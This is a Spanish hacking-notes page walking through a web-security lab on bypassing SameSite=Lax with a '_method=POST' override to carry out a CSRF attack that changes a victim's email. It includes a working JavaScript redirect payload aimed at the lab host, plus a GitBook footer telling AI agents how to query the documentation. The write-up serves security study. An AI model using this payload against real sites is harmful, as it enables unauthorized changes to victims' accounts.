> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/csrf/samesite-lax-bypass-via-method-override.md).

# Evasión de SameSite Lax mediante sobrescritura de método

### Bypass de SameSite Lax mediante anulación del método

La función de cambio de dirección de correo del laboratorio es vulnerable a un ataque CSRF. El sitio usa SameSite=Lax, pero es posible eludir esta protección forzando la consulta del método POST mediante un parámetro d-override (`&_method=POST`) en la URL.

\*\* Objetivo\*\*/ Alojar una carga útil (explotada) en el servidor de explotación que realiza una solicitud para cambiar la dirección de correo electrónico al nombre de la víctima para resolver el laboratorio.

**Credenciales (cuenta de prueba)**/ `wiener: peter`

<figure><img src="/files/e6c9bd4a732c4240211669f0e8ee03440fa163b1" alt=""><figcaption></figcaption></figure>

* Una solicitud GET al endpoint de cambio de correo electrónico devuelve que el método no está permitido.
* Añadir el `&_method=POST` parámetro en la URL hace que la solicitud sea aceptada (el sitio acepta la anulación para tratar la solicitud como un POST), lo que permite ejecutar la acción a pesar de SameSite=Lax.

```
&_method=POST
```

<figure><img src="/files/b80ddf11a7b3d7f8961c1a28f6ef2bf1c50e6266" alt=""><figcaption></figcaption></figure>

#### **Carga útil del servidor de explotación**

El siguiente script redirige a la víctima a la URL de cambio del correo electrónico incluyendo el parámetro de anulación para forzar un POST:

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
